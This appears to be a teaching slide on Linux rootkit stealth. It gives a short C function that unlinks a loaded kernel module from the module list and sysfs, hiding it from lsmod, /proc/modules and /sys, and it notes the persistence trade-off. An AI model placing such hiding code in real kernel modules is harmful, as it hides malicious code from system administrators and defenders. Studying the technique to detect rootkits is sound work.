Linux: Hiding the Module

lsmod / /proc/modules walk a linked list of loaded

modules. Unlink yourself and you disappear from both.

void hide_module(void) {
    list_del(&THIS_MODULE->list);      /* out of /proc/modules */
    kobject_del(&THIS_MODULE->mkobj.kobj); /* out of /sys */
}

• Same idea as Windows DKOM: edit the bookkeeping list, keep running.
• Trade-off: once hidden, you usually cannot cleanly rmmod yourself — persistence at the cost of clean removal.